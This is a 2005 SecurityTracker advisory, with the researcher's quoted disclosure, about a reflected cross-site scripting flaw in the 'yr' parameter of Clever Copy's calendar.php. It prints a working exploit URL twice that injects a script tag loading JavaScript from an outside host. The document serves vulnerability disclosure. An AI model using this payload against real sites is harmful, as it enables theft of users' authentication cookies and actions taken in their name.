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Category:   Application (Forum/Board/Portal)  >   Clever Copy Vendors:   Clever Copy
Clever Copy Input Validation Hole in 'calendar.php' Lets Remote Users Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1014492
SecurityTracker URL:  http://securitytracker.com/id/1014492
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jul 15 2005
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): 2.0, 2.0a
Description:   Lostmon reported an input validation vulnerability in Clever Copy. A remote user can conduct cross-site scripting attacks.

The 'calendar.php' script does not properly filter HTML code from user-supplied input in the 'yr' parameter. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Clever Copy software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A demonstration exploit URL is provided:

http://[target]/calendar.php?mth=3&yr=2006"><script
src="http://www.drorshalev.com/dev/injection/js.js"></script>

The vendor was notified on July 13, 2005.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Clever Copy software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  clevercopy.bestdirectbuy.com/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Clever copy 'calendar.php' 'yr' variable cross site scripting


################################################
Clever copy 'calendar.php' 'yr' variable cross site scripting
vendor url:http://clevercopy.bestdirectbuy.com
advisory:http://lostmon.blogspot.com/2005/07/
clever-copy-calendarphp-yr-variable.html
vendor notify: yes exploit available:yes
################################################

Clever Copy is a free, fully scalable web site portal and news posting
system.You can run it as a very simple blog or ramp it up to a full
Content Management System

Clever Copy contains a flaw that allows a remote cross site scripting
attack.This flaw exists because the application does not validate 'yr'
variable upon submission to 'calendar.php' script.This could allow a
user to create a specially crafted URL that would execute arbitrary
code in a user's browser within the trust relationship between
the browser and the server, leading to a loss of integrity

##############
VERSIONS
##############

Clever Copy version 2.0a
Clever Copy version 2.0

##############
SOLUTION
##############

No solution at this time

##############
TIMELINE
##############

Discovered: 12-07-2005
Vendor notify: 13-07-2005
Vendor response:14-07-2005
Disclosure: 15-07-2005

##############
EXPLOIT
##############

http://[victim]/calendar.php?mth=3&yr=2006"><script
src="http://www.drorshalev.com/dev/injection/js.js"></script>


Thnx to estrella to be my ligth

-- atentamente: Lostmon (lostmon@gmail.com) Web-Blog: http://lostmon.blogspot.com/ -- 
La curiosidad es lo que hace mover la mente.... 
 
 


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